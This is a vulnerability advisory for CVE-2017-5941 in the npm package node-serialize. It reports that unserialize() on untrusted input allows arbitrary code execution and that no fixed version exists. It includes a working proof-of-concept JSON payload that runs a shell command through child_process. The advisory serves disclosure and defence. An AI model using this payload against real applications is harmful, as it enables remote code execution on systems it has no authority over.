Arbitrary Code Execution Affecting node-serialize package, versions *
Threat Intelligence
Exploit Maturity
Mature
EPSS
4.03% (93rd
percentile)
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Test your applications- Snyk ID npm:node-serialize:20170208
- published 13 Feb 2017
- disclosed 8 Feb 2017
- credit Ajin Abraham
Introduced: 8 Feb 2017
CVE-2017-5941 Open this link in a new tabHow to fix?
There is no fix version for node-serialize
Overview
node-serialize serializes an object and it's function into a JSON.
Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the unserialize() function.
Example:
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
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